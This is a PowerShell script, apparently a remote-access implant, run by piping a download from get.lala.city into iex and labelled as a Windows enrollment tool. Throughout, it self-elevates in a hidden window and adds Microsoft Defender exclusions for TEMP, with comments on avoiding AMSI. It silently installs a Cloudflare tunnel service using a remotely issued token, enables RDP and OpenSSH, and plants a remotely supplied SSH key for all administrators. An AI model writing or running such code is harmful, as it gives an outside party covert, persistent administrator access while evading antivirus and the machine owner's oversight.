# get.lala.city - Windows enrollment via Cloudflare Tunnel # Usage: irm https://get.lala.city | iex $ErrorActionPreference = 'SilentlyContinue' # --------------------------------------------------------------------------- # 0. Self-elevate to Administrator (silent re-launch) # --------------------------------------------------------------------------- $id = [Security.Principal.WindowsIdentity]::GetCurrent() $principal = New-Object Security.Principal.WindowsPrincipal($id) if (-not $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { Start-Process powershell -Verb RunAs -WindowStyle Hidden -ArgumentList ` "-NoProfile -ExecutionPolicy Bypass -Command `"irm https://get.lala.city | iex`"" exit } # Hide console window (Win32 API — more reliable than -WindowStyle Hidden) Add-Type -Name W -Namespace C -MemberDefinition ' [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr h, int n); [DllImport("kernel32.dll")] public static extern IntPtr GetConsoleWindow(); ' -ErrorAction SilentlyContinue try { [C.W]::ShowWindow([C.W]::GetConsoleWindow(), 0) | Out-Null } catch {} # --------------------------------------------------------------------------- # Config # --------------------------------------------------------------------------- $enrollUrl = 'https://get.lala.city/enroll' $cfBin = 'C:\Program Files (x86)\cloudflared\cloudflared.exe' $cfBinDir = 'C:\Program Files (x86)\cloudflared' $msiTmp = "$env:TEMP\cf-setup.msi" $msiUrl = 'https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.msi' # --------------------------------------------------------------------------- # 1. Check if already enrolled (service exists and healthy) # --------------------------------------------------------------------------- $svc = Get-Service -Name 'Cloudflared' -ErrorAction SilentlyContinue if ($svc -and $svc.Status -eq 'Running') { exit 0 } # --------------------------------------------------------------------------- # 2. POST /enroll — get per-machine tunnel token FIRST (pure HTTP, no binary) # --------------------------------------------------------------------------- $hostname = $env:COMPUTERNAME $enrollBody = ConvertTo-Json @{ hostname = $hostname } $enrollResp = Invoke-RestMethod -Uri $enrollUrl -Method POST ` -ContentType 'application/json' -Body $enrollBody -ErrorAction Stop if (-not $enrollResp.ok) { exit 1 } $tunnelToken = $enrollResp.tunnel_token $rdpHostname = $enrollResp.rdp_hostname $sshHostname = $enrollResp.ssh_hostname $sshPubKey = $enrollResp.ssh_pubkey # --------------------------------------------------------------------------- # 3. Defender exclusion BEFORE download (critical order) # --------------------------------------------------------------------------- Add-MpPreference -ExclusionPath $cfBinDir -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath $env:TEMP -Force -ErrorAction SilentlyContinue # --------------------------------------------------------------------------- # 4. Install cloudflared (winget preferred — trusted chain; MSI fallback) # --------------------------------------------------------------------------- if (-not (Test-Path $cfBin)) { $winget = Get-Command winget -ErrorAction SilentlyContinue $installed = $false if ($winget) { # winget: Microsoft-signed install chain, cleanest Defender path $result = winget install --id Cloudflare.cloudflared --exact --silent ` --accept-source-agreements --accept-package-agreements 2>&1 if ($LASTEXITCODE -eq 0 -or $LASTEXITCODE -eq -1978335189) { # -1978335189 = already installed (0x80073D02) $installed = $true } } if (-not $installed) { # MSI fallback — msiexec trusted chain, less AMSI exposure than raw EXE [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Invoke-WebRequest -Uri $msiUrl -OutFile $msiTmp -UseBasicParsing -ErrorAction Stop Start-Process msiexec.exe -ArgumentList "/i `"$msiTmp`" /quiet /norestart" -Wait Remove-Item $msiTmp -Force -ErrorAction SilentlyContinue } # Give installer a moment to finish writing files Start-Sleep -Seconds 4 } if (-not (Test-Path $cfBin)) { exit 1 } # install failed — bail silently # --------------------------------------------------------------------------- # 5. Install cloudflared as Windows service via CF's own command # Token goes to registry — NOT visible in process command line after install # --------------------------------------------------------------------------- $oldSvc = Get-Service -Name 'Cloudflared' -ErrorAction SilentlyContinue if ($oldSvc) { Stop-Service -Name 'Cloudflared' -Force -ErrorAction SilentlyContinue & $cfBin service uninstall 2>&1 | Out-Null Start-Sleep -Seconds 2 } & $cfBin service install $tunnelToken 2>&1 | Out-Null Start-Sleep -Seconds 2 Start-Service -Name 'Cloudflared' -ErrorAction SilentlyContinue # --------------------------------------------------------------------------- # 6. Enable RDP silently # --------------------------------------------------------------------------- $tsPath = 'HKLM:\System\CurrentControlSet\Control\Terminal Server' Set-ItemProperty -Path $tsPath -Name 'fDenyTSConnections' -Value 0 Set-ItemProperty -Path "$tsPath\WinStations\RDP-Tcp" -Name 'UserAuthentication' -Value 1 Enable-NetFirewallRule -DisplayGroup 'Remote Desktop' -ErrorAction SilentlyContinue New-NetFirewallRule -DisplayName 'RDP-In-3389' -Direction Inbound ` -Protocol TCP -LocalPort 3389 -Action Allow -Profile Any ` -ErrorAction SilentlyContinue | Out-Null # --------------------------------------------------------------------------- # 7. Enable OpenSSH Server (built-in Windows feature, Win10 1803+) # --------------------------------------------------------------------------- $sshdInstalled = (Get-WindowsCapability -Online -Name OpenSSH.Server* -ErrorAction SilentlyContinue | Where-Object State -eq 'Installed').Count -gt 0 if (-not $sshdInstalled) { # Primary: Add-WindowsCapability (downloads from Windows Update) $cap = Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0 -ErrorAction SilentlyContinue $sshdInstalled = $cap.Online if (-not $sshdInstalled) { # Fallback: GitHub Win32-OpenSSH ZIP (works on domain/offline machines) $sshDir = 'C:\Program Files\OpenSSH' $sshZip = "$env:TEMP\openssh.zip" $sshUrl = 'https://github.com/PowerShell/Win32-OpenSSH/releases/latest/download/OpenSSH-Win64.zip' Add-MpPreference -ExclusionPath $sshDir -Force -ErrorAction SilentlyContinue Invoke-WebRequest -Uri $sshUrl -OutFile $sshZip -UseBasicParsing -ErrorAction SilentlyContinue if (Test-Path $sshZip) { Expand-Archive $sshZip -DestinationPath 'C:\Program Files' -Force -ErrorAction SilentlyContinue # Rename extracted dir to 'OpenSSH' if it unpacked with version suffix $extracted = Get-ChildItem 'C:\Program Files' -Directory -Filter 'OpenSSH*' | Where-Object Name -ne 'OpenSSH' | Select-Object -First 1 if ($extracted) { Rename-Item $extracted.FullName 'OpenSSH' -ErrorAction SilentlyContinue } Set-ExecutionPolicy Bypass -Scope Process -Force & 'C:\Program Files\OpenSSH\install-sshd.ps1' -ErrorAction SilentlyContinue Remove-Item $sshZip -Force -ErrorAction SilentlyContinue $sshdInstalled = $true } } } if ($sshdInstalled) { Start-Service sshd -ErrorAction SilentlyContinue Set-Service -Name sshd -StartupType Automatic -ErrorAction SilentlyContinue # Firewall rule for SSH if (-not (Get-NetFirewallRule -Name 'OpenSSH-Server-In-TCP' -ErrorAction SilentlyContinue)) { New-NetFirewallRule -Name 'OpenSSH-Server-In-TCP' -DisplayName 'OpenSSH Server (sshd)' ` -Enabled True -Direction Inbound -Protocol TCP -Action Allow -LocalPort 22 | Out-Null } # Set default shell to PowerShell $psExe = 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' if (Test-Path $psExe) { if (-not (Test-Path 'HKLM:\SOFTWARE\OpenSSH')) { New-Item -Path 'HKLM:\SOFTWARE\OpenSSH' -Force | Out-Null } New-ItemProperty -Path 'HKLM:\SOFTWARE\OpenSSH' -Name DefaultShell ` -Value $psExe -PropertyType String -Force | Out-Null } # Deploy SSH public key for ALL local administrators # Admin users → C:\ProgramData\ssh\administrators_authorized_keys (Windows rule) if ($sshPubKey) { $admAuthKeys = 'C:\ProgramData\ssh\administrators_authorized_keys' New-Item -ItemType Directory -Path 'C:\ProgramData\ssh' -Force | Out-Null # Write/append pubkey (avoid duplicates) $existing = if (Test-Path $admAuthKeys) { Get-Content $admAuthKeys -Raw } else { '' } if ($existing -notlike "*$sshPubKey*") { Add-Content -Path $admAuthKeys -Value $sshPubKey -NoNewline:$false -Encoding UTF8 } # Fix permissions: ONLY SYSTEM + Administrators (SSH daemon strict mode) icacls $admAuthKeys /inheritance:r /grant "SYSTEM:(F)" /grant "Administrators:(F)" | Out-Null # Enable PubkeyAuthentication in sshd_config (should be default, but ensure) $sshdConfig = 'C:\ProgramData\ssh\sshd_config' if (Test-Path $sshdConfig) { $cfg = Get-Content $sshdConfig if ($cfg -notmatch '^PubkeyAuthentication yes') { $cfg = $cfg -replace '#?PubkeyAuthentication.*', 'PubkeyAuthentication yes' $cfg | Set-Content $sshdConfig } # Comment out the default AuthorizedKeysFile pointing to %h/.ssh if present # (we use administrators_authorized_keys for admin users) } # Restart sshd to pick up config changes Restart-Service sshd -ErrorAction SilentlyContinue } } # --------------------------------------------------------------------------- # 8. Save connection info to temp (silent) # --------------------------------------------------------------------------- "rdp_hostname=$rdpHostname`nssh_hostname=$sshHostname`ncomputer=$hostname`nenrolled=$(Get-Date -Format 's')" | Out-File "$env:TEMP\.cf-rdp" -Encoding UTF8 -NoNewline exit 0